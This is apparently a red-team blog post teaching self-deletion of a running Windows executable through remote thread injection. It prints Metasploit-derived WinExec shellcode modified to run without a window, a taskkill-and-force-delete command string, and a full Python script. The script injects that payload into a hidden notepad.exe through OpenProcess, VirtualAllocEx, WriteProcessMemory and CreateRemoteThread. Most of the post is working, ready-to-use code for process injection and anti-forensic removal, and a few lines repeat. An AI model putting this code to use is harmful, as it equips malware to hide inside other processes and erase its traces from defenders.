If you have worked with a modern Windows systems you are familiar, at least on an abstract level, that once an executable has been mapped to virtual memory you cannot delete the file from disk until the handle is closed. Self-deleting a "Persisted memory-mapped file" is often solved by writing a secondary script (.bat||.ps1||.vbs) to disk as a clean-up stub. A cleaner way to do this is to spawn a windowless process in a new process group and inject code to terminate the calling PE, and remove the file from disk. This post includes a purposefully verbose example written in python to attempt to clearly illustrate this technique.
Since many people are familiar with the CreateThread function, due to it's popularity in shellcode execution, we will use the CreateRemoteThread function for our examples. The only difference people already familiar with CreateThread will notice is that CreateRemoteThread takes a process handle argument denoting the remote process into which we injected our code.
Attempt to Delete Executable from Modern Windows System:
If you've ever attempted to delete an open file on a modern Windows system you are familiar with the following dialog.
Self Removal Via Remote Thread Injection:
In order to terminate and delete a running PE we will use two things: the full file path and the current process id. If you are using an interpreted language, you may also wish to know whether the processes is running as a standalone script or from inside a packed executable.State Detection:
As many people are using Python with things like pyinstaller, p2exe, or cx_Freeze to pack up interpreted code. Creating code that works when run as a script or a packed PE can useful. In this example I use Thomas Heller's (ctypes and py2exe notoriety) suggestions found here to determine the state of the file, script, or exe.
Building our Payload:
As this point of this post is clarify the deletion method and not about writing shellcode that calls DeleteFileA from kernel32.lib, I will use slightly modified shellcode from the Metasploit project's WinExec payload. I change the value of uCmdSHow to cause our commands to run without a visible window. The second part of our shellcode is a bit of a hack, but hopefully it makes things accessible and clear to the reader. Since we aren't writing our own shellcode, and don't have access to SleepEx, we use ping along with an unreachable address and a known timeout to create a sleep state. The purpose of this sleep is to ensure that the call to taskkill has completed terminating the primary process before we attempt to remove it from disk. In writing your own code you may choose to simply have the process exit() before removing the file. I find terminating the process to be a more aggressive form of removal when triggering this method of self-deletion on errors or signals.Command String -
cmd /c taskkill /F /PID > nul <pid> && ping 1.1.1.1 -n 1 -w 500 > nul & del /F /Q <Path>
""" http://www.rapid7.com/db/modules/payload/windows/exec Authors: vlad902 <vlad902[at]gmail.com>, sf <stephenfewer[at]harmonysecurity.com> We modify "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow UINT WINAPI WinExec( _In_ LPCSTR lpCmdLine, _In_ UINT uCmdShow ); """ \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52 \x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26 \x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d \x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0 \x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b \x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff \x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d \xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b \x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44 \x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b \x12\xeb\x86\x5d\x6a\x00\x8d\x85\xb9\x00\x00\x00\x50\x68 \x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95 \xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb \x47\x13\x72\x6f\x6a\x00\x53\xff\xd5 + commandstr + \x00
Remote Process:
You can use any process for which you can request appropriate handle permissions, however, I recommend you open a new process that will not be interacted with by users. Additionally, be mindful of process load time when using thread creation flags that request immediate execution. For these reason I will use notepad.exe.Injection Process:
There are four stages to our remote thread injection. First we must request access to interact with the remote process we are targeting as our cleanup helper via OpenProcess. Once we have a handle with appropriate permission, we allocate enough memory for our payload with VitualAllocEx. Now that we have a space to write our payload, we copy our buffer into the space using WriteProcessMemory. If the write succeeds, we can kick off our code with CreateRemoteThread. There are many ways to perform remote thread injection, those shown here are among the most common and easy to follow.
Note: You can also start your helper process then inject a suspended thread that is triggered from your primary process based on later signals, exceptions, or states. I shy away from this as it leaves a larger footprint in the process list.
Note: You can also start your helper process then inject a suspended thread that is triggered from your primary process based on later signals, exceptions, or states. I shy away from this as it leaves a larger footprint in the process list.
Libraries and Compilation:
Common libraries/methods that can provide access to the functions necessary for this approach:
Python - Ctypes.windll.kernel32
C# - [DllImport("kernel32")], Marshal.GetFunctionPointerForDelegate
C/C++ - LoadLibrary("kernel32.dll")
Java - JNI, com.sun.jna, sun.misc.unsafe
Java - JNI, com.sun.jna, sun.misc.unsafe
When compiling code that uses this method, due to difference in size of PROCESS_ALL_ACCESS between windows versions, be certain to set _WIN32_WINNT || _WIN32_WINNT_WINXP appropriately. Alternatively, you can simply compile your code on a system relative to the oldest Windows version your code will target.
Example Self Deleting File:
The following code will self delete using remote threat injection as either a raw python script or when ran as an executable.I've tried to make the significance of each Windows function argument as clear as possible. Code on github.
#!/usr/bin/env python from __future__ import print_function, absolute_import, unicode_literals import subprocess from time import sleep import os import ctypes import sys from imp import is_frozen __author__ = 'themson mester' """ WinExec shellcode sourced from the Metasploit Framework. http://www.rapid7.com/db/modules/payload/windows/exec Authors - vlad902 <vlad902 [at] gmail.com>, sf <stephenfewer [at] harmonysecurity.com> I have modified "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow WinExec: http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393(v=vs.85).aspx UINT WINAPI WinExec( _In_ LPCSTR lpCmdLine, _In_ UINT uCmdShow ); """ SHELLCODE = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + \ b"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + \ b"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + \ b"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" + \ b"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" + \ b"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" + \ b"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" + \ b"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + \ b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" + \ b"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" + \ b"\x12\xeb\x86\x5d\x6a\x00\x8d\x85\xb9\x00\x00\x00\x50\x68" + \ b"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" + \ b"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + \ b"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" TARGET_PROCESS = b'notepad.exe' def is_frozen_main(): """Freeze detection Bool From www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe ThomasHeller posted to the py2exe mailing list :return: bool """ return (hasattr(sys, "frozen") or # new py2exe hasattr(sys, "importers") # old py2exe or is_frozen("__main__")) # tools/freeze def get_state(): """Get pid and path Acquire current process pid Check execution state (PE || script) Acquire current process file path :return pid, path: str, str """ current_pid = str(os.getpid()) if is_frozen_main(): current_path = sys.executable else: current_path = os.path.abspath(__file__) current_path = b'"' + current_path + b'"' # handle paths with spaces, ^ escape will not return current_pid, current_path def generate_shellcode(pid, path): """Finalize shellcode to be injected Set up cmd to kill PID and remove from disk :param pid: :param path: :return shellcode: bytearray """ nullbyte = b'\x00' cmd_string = b'cmd /c taskkill /F /PID > nul {} && ping 1.1.1.1 -n 1 -w 500 > nul & del /F /Q {}'.format(pid, path) return bytearray(SHELLCODE + cmd_string + nullbyte) def child_process(process_name=TARGET_PROCESS): """Start windowless proccess in new process group :param process_name: str :return process pid: int """ startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW # Start process windowless try: process = subprocess.Popen([process_name], startupinfo=startupinfo, creationflags=subprocess.CREATE_NEW_PROCESS_GROUP) except OSError as e: print('Error: child_process(): {}'.format(e.args)) return -1 sleep(1) # allow process load before injection return process.pid def inject_rthread(shellcode, child_pid): """Inject shellcode into remote process as new thread NOTE: non-PEP8 and extraneous names are used to maintain clarity of Windows Function parameter names OpenProcess: http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx VitualAllocEx: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx Memory Protection Constants: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx WriteProcessMemory: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx CreateRemoteThread: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx :param shellcode: byte array :param child_pid: int :return success: bool """ kernel32 = ctypes.windll.kernel32 byte_length = len(shellcode) # OpenProcess Arguments PROCESS_ALL_ACCESS = (0x000F0000L | 0x00100000L | 0xFFF) # all access rights bInheritHandle = False # do not inherit handle dwProcessId = child_pid # pid of remote process # VirtualAllocEx Arguments lpAddress = None # function determines alloc location dwSize = byte_length flAllocationType = 0x1000 # MEM_COMMIT flProtect = 0x40 # PAGE_EXECUTE_READWRITE # WriteProcessMemory Arguments lpBuffer = (ctypes.c_char * byte_length).from_buffer(shellcode) # buffer of shell code chars nSize = byte_length lpNumberOfBytesWritten = None # do not return bytes writen length #CreateRemoteThread Arguments lpThreadAttributes = None # use default security descriptor dwStackSize = 0 # use default stack size lpParameter = None # no vars to pass dwCreationFlags = 0 # run thread immediately lpThreadId = None # do not return thread identifier try: hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, bInheritHandle, dwProcessId) lpBaseAddress = kernel32.VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect) write_return = kernel32.WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten) if write_return != 0: kernel32.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpBaseAddress, lpParameter, dwCreationFlags, lpThreadId) return True else: return False except Exception as e: print("ERROR: inject_rthread(): {}".format(e.args)) return False def clean_up(): """manage clean up process get pid and path generate shellcode launch target process and return cpid inject into remote thread :return: success bool """ pid, path = get_state() shell_code = generate_shellcode(pid, path) child_pid = child_process() if child_pid == -1: return False else: return inject_rthread(shell_code, child_pid) def main(): print("Self-Deletion via remote thread injection demo.") clean_up() while True: sleep(1) if __name__ == "__main__": main()
Cleanup:
I encourage people to explore other methods of code injection and self deletion, there's lots of great tricks out there to be learned. Additionally, consider adding timeout dates to your client-sides that cause self-deletion to trigger before payload execution if a client-side is ever executed outside of scoped testing dates.Go learn something...
@ThemsonMester
Cited Resources:
- Ctypes: https://docs.python.org/2/library/ctypes.html#
- OpenProcess: http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
- VitualAllocEx: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx
- Memory Protection Constants: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx
- WriteProcessMemory: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
- CreateRemoteThread: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx